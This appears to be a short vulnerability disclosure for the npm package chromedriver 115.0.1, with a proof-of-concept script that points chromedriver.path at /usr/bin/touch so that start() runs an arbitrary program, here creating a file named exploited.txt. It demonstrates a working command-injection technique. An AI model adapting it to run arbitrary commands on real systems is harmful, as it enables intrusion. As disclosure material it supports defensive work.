Package chromedriver: possible to do command injection by manipulating the arguments.

chromedriver-115.0.1_poc.js

'use strict'

const chromedriver = require('chromedriver');

const args = ['exploited.txt'];
const returnPromise = false;

chromedriver.path = '/usr/bin/touch';

// This creates a local 'exploited.txt' file.
chromedriver.start(args, returnPromise);